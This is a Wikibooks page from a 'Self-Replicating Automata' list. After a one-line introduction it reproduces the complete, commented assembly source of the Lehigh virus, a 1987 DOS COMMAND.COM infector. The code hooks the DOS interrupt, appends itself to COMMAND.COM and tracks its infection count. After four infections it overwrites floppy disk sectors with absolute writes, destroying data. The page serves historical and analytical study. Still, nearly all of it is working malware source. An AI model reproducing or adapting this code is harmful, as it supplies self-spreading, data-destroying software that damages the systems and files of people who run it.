Self-Replicating Automata/List/Lehigh

From Wikibooks, open books for an open world
< Self-Replicating Automata‎ | List(Redirected from SRA:Lehigh)
Jump to: navigation, search

Introduction[edit]

The Lehigh virus, a COMMAND.COM infector, appeared around 1987.

Source Code[edit]


        page    65,132
        title   The 'Lehigh' Virus

CODE    SEGMENT BYTE PUBLIC 'CODE'
        ASSUME CS:CODE,DS:CODE

        ; Interrupt 21H routine

BP0010: PUSH    AX
        PUSH    BX
        CMP     AH,4BH                  ; Load function?
        JE      BP0020                  ; Branch if yes
        CMP     AH,4EH                  ; Find file file?
        JE      BP0020                  ; Branch if yes
        JMP     BP0170                  ; Pass interrupt on

        ; Load or find file function

BP0020: MOV     BX,DX                   ; Get pathname pointer
        CMP     BYTE PTR [BX+1],':'     ; Is a disk specified?
        JNE     BP0030                  ; Branch if not
        MOV     AL,[BX]                 ; Get disk letter
        JMP     BP0040

        ; Is there a COMMAND.COM on disk?

BP0030: MOV     AH,19H                  ; Get current disk function
        INT     44H                     ; DOS service (diverted INT 21H)
        ADD     AL,'a'                  ; Convert to letter
BP0040: PUSH    DS
        PUSH    CX
        PUSH    DX
        PUSH    DI
        PUSH    CS                      ; \ Set DS to CS
        POP     DS                      ; /
        MOV     BX,OFFSET PATHNM        ; Address pathname
        MOV     [BX],AL                 ; Store disk letter in pathname
        MOV     DX,BX                   ; Move pathname address
        MOV     AX,3D02H                ; Open handle (R/W) function
        INT     44H                     ; DOS service (diverted INT 21H)
        JNB     BP0050                  ; Branch if no error
        JMP     BP0160                  ; Restore registers and terminate

        ; Is COMMAND.COM infected?

BP0050: MOV     BX,AX                   ; Move file handle
        MOV     AX,4202H                ; Move file pointer function (EOF)
        XOR     CX,CX                   ; \ No offset
        MOV     DX,CX                   ; /
        INT     44H                     ; DOS service (diverted INT 21H)
        MOV     DX,AX                   ; Copy file length
        MOV     FILELN,AX               ; Save file length
        SUB     DX,2                    ; Address last word of file
        MOV     AX,4200H                ; Move file pointer function (start)
        INT     44H                     ; DOS service (diverted INT 21H)
        MOV     DX,OFFSET BUFFER        ; Address read buffer
        MOV     CX,2                    ; Length to read
        MOV     AH,3FH                  ; Read handle function
        INT     44H                     ; DOS service (diverted INT 21H)
        CMP     WORD PTR BUFFER,65A9H   ; Is file infected?
        JNE     BP0060                  ; Branch if not
        JMP     BP0080

        ; Infect COMMAND.COM

BP0060: XOR     DX,DX                   ; \ No offset
        MOV     CX,DX                   ; /
        MOV     AX,4200H                ; Move file pointer function (start)
        INT     44H                     ; DOS service (diverted INT 21H)
        MOV     CX,3                    ; Length to read
        MOV     DX,OFFSET BUFFER        ; Address read buffer
        MOV     DI,DX                   ; Copy address
        MOV     AH,3FH                  ; Read handle function
        INT     44H                     ; DOS service (diverted INT 21H)
        MOV     AX,[DI+1]               ; Get displacement from initial jump
        ADD     AX,0103H                ; Convert to address for COM file
        MOV     ENTPTR,AX               ; Save file entry address
        MOV     DX,FILELN               ; Get file length
        SUB     DX,OFFSET ENDADR        ; Subtract length of virus
        DEC     DX                      ; ...and one more
        MOV     [DI],DX                 ; Put offset into jump instruction
        XOR     CX,CX                   ; Clear high offset for move
        MOV     AX,4200H                ; Move file pointer function (start)
        INT     44H                     ; DOS service (diverted INT 21H)
        MOV     AL,INFCNT               ; Get infection count
        PUSH    AX                      ; Preserve infection count
        MOV     BYTE PTR INFCNT,0       ; Set infection count to zero
        MOV     CX,OFFSET ENDADR        ; \ Get length of virus
        INC     CX                      ; /
        XOR     DX,DX                   ; Address start of virus
        MOV     AH,40H                  ; Write handle function
        INT     44H                     ; DOS service (diverted INT 21H)
        POP     AX                      ; Recover infection count
        MOV     INFCNT,AL               ; Restore original infection count
        XOR     CX,CX                   ; \ Address second byte of program
        MOV     DX,1                    ; /
        MOV     AX,4200H                ; Move file pointer function (start)
        INT     44H                     ; DOS service (diverted INT 21H)
        MOV     AX,[DI]                 ; Get virus offset
        ADD     AX,OFFSET BP0180        ; Add entry point
        SUB     AX,3                    ; Subtract length of jump instruction
        MOV     [DI],AX                 ; Replace offset
        MOV     DX,DI                   ; Address stored offset
        MOV     CX,2                    ; Length to write
        MOV     AH,40H                  ; Write handle function
        INT     44H                     ; DOS service (diverted INT 21H)
        INC     BYTE PTR INFCNT         ; Increment infection count
        CMP     BYTE PTR INFCNT,4       ; Have we reached target?
        JB      BP0070                  ; Branch if not
        JMP     BP0110                  ; Trash disk

        ; Is disk A or B?

BP0070: MOV     BYTE PTR N_AORB,0       ; Set off "not A or B" switch
        CMP     BYTE PTR CURDSK,2       ; Is current disk A or B?
        JB      BP0080                  ; Branch if yes
        MOV     BYTE PTR N_AORB,1       ; Set on "not A or B" switch
BP0080: MOV     AH,3EH                  ; Close handle function
        INT     44H                     ; DOS service (diverted INT 21H)
        CMP     BYTE PTR N_AORB,1       ; Is "not A or B" switch on?
        JE      BP0090                  ; Branch if yes
        JMP     BP0160                  ; Restore registers and terminate

        ; Disk not A or B

BP0090: MOV     BYTE PTR N_AORB,0       ; Set off "not A or B" switch
        MOV     BX,OFFSET PATHNM        ; Address pathname
        MOV     AL,CURDSK               ; Get current disk
        ADD     AL,'a'                  ; Convert to letter
        MOV     [BX],AL                 ; Store letter in pathname
        MOV     DX,BX                   ; Move pathname address
        MOV     AX,3D02H                ; Open handle (R/W) function
        INT     44H                     ; DOS service (diverted INT 21H)
        JNB     BP0100                  ; Branch if no error
        JMP     BP0160                  ; Restore registers and terminate

        ; Set infection count same as in current program

BP0100: MOV     BX,AX
        MOV     AX,4202H                ; Move file pointer function (EOF)
        XOR     CX,CX                   ; \ No offset
        MOV     DX,CX                   ; /
        INT     44H                     ; DOS service (diverted INT 21H)
        MOV     DX,AX                   ; \ Address back to infection count
        SUB     DX,7                    ; /
        MOV     AX,4200H                ; Move file pointer function (start)
        INT     44H                     ; DOS service (diverted INT 21H)
        MOV     CX,1                    ; Length to write
        MOV     DX,OFFSET INFCNT        ; Address infection count
        MOV     AH,40H                  ; Write handle function
        INT     44H                     ; DOS service (diverted INT 21H)
        MOV     AH,3EH                  ; Close handle function
        INT     44H                     ; DOS service (diverted INT 21H)
        JMP     BP0160                  ; Restore registers and terminate

        ; Trash disk

BP0110: MOV     AL,CURDSK               ; Get current disk
        CMP     AL,2                    ; Is disk A or B?
        JNB     BP0150                  ; Branch if not
        MOV     AH,19H                  ; Get current disk function
        INT     44H                     ; DOS service (diverted INT 21H)
        MOV     BX,OFFSET PATHNM        ; Address pathname
        MOV     DL,[BX]                 ; Get drive letter from pathname
        CMP     DL,'A'                  ; Is drive letter 'A'?
        JE      BP0120                  ; Branch if yes
        CMP     DL,'a'                  ; Is drive letter 'a'?
        JE      BP0120                  ; Branch if yes
        CMP     DL,'b'                  ; Is drive letter 'b'?
        JE      BP0130                  ; Branch if yes
        CMP     DL,'B'                  ; Is drive letter 'B'?
        JE      BP0130                  ; Branch if yes
        JMP     BP0160                  ; Restore registers and terminate

        ; Drive A

BP0120: MOV     DL,0                    ; Set drive A
        JMP     BP0140

        ; Drive B

BP0130: MOV     DL,1                    ; Set drive B
BP0140: CMP     AL,DL                   ; Is this the same as current?
        JNE     BP0150                  ; Branch if not
        JMP     BP0160                  ; Restore registers and terminate

        ; Write lump of BIOS to floppy disk

BP0150: MOV     SI,0FE00H               ; \ Address BIOS (?)
        MOV     DS,SI                   ; /
        MOV     CX,0020H                ; Write 32 sectors
        MOV     DX,1                    ; Start at sector one
        INT     26H                     ; Absolute disk write
        POPF
        MOV     AH,9                    ; Display string function
        MOV     DX,1840H
        INT     44H                     ; DOS service (diverted INT 21H)
BP0160: POP     DI
        POP     DX
        POP     CX
        POP     DS
BP0170: POP     BX
        POP     AX
        JMP     CS:INT_21               ; Branch to original Int 21H

        ; Original Int 21H vector

INT_21  EQU     THIS DWORD
        DW      138DH                   ; Int 21H offset
        DW      0295H                   ; Int 21H segment

        ; Entry point for infected program

BP0180: CALL    BP0190                  ; \ Get current address
BP0190: POP     SI                      ; /
        SUB     SI,3                    ; Address back to BP0180
        MOV     BX,SI                   ; \ Address of virus start
        SUB     BX,OFFSET BP0180        ; /
        PUSH    BX                      ; Save address of virus start
        ADD     BX,OFFSET FILELN        ; Address file length
        MOV     AH,19H                  ; Get current disk function
        INT     21H                     ; DOS service
        MOV     [BX-1],AL               ; Save current disk
        MOV     AX,[BX]                 ; Get file length
        ADD     AX,0100H                ; Add PSP length
        MOV     CL,4                    ; \ Convert to paragraphs
        SHR     AX,CL                   ; /
        INC     AX                      ; Allow for remainder
        MOV     BX,AX                   ; Copy paragraphs to keep
        MOV     AH,4AH                  ; Set block function
        INT     21H                     ; DOS service
        JNB     BP0200                  ; Branch if no error
        JMP     BP0220                  ; Pass control to host

        ; Allocate memory for virus

BP0200: MOV     CL,4                    ; Bits to move
        MOV     DX,OFFSET ENDADR        ; Length of virus
        SHR     DX,CL                   ; Convert to paragraphs
        INC     DX                      ; Allow for remainder
        MOV     BX,DX                   ; Copy paragraphs for virus
        MOV     AH,48H                  ; Allocate memory function
        INT     21H                     ; DOS service
        JNB     BP0210                  ; Branch if no error
        JMP     BP0220                  ; Pass control to host

        ; Install virus in memory

BP0210: PUSH    ES
        PUSH    AX                      ; Preserve allocated memory segment
        MOV     AX,3521H                ; Get Int 21H function
        INT     21H                     ; DOS service
        MOV     [SI-4],BX               ; Save Int 21H offset
        MOV     [SI-2],ES               ; Save Int 21H segment
        POP     ES                      ; Recover allocated memory segment
        PUSH    SI
        SUB     SI,OFFSET BP0180        ; Address back to start of virus
        XOR     DI,DI                   ; Target start of new area
        MOV     CX,OFFSET ENDADR        ; \ Length of virus
        INC     CX                      ; /
        REPZ    MOVSB                   ; Copy virus to new area
        POP     SI
        PUSH    DS
        MOV     DX,[SI-4]               ; Get Int 21H offset
        MOV     AX,[SI-2]               ; \ Set DS to Int 21H segment
        MOV     DS,AX                   ; /
        MOV     AX,2544H                ; Set Int 44H function
        INT     21H                     ; DOS service
        PUSH    ES                      ; \ Set DS to ES
        POP     DS                      ; /
        XOR     DX,DX                   ; Interrupt 21H routine (BP0010)
        MOV     AX,2521H                ; Set Int 21H function
        INT     44H                     ; DOS service (diverted INT 21H)
        POP     DS
        POP     ES
BP0220: POP     BX
        PUSH    ENTPTR[BX]              ; Push COM file entry address
        RET                             ; ...and return to it

PATHNM  DB      'b:\command.com', 0     ; Pathname
BUFFER  DB      7FH, 58H, 0BH, 0, 0     ; Read buffer
ENTPTR  DW      0CB0H                   ; File entry address
N_AORB  DB      0                       ; "Not A or B" switch
INFCNT  DB      0                       ; Infection count
        DB      0
CURDSK  DB      0                       ; Current disk
FILELN  DW      5AAAH                   ; File length
        DW      65A9H                   ; Infection indicator

ENDADR  EQU     $-1

CODE    ENDS

        END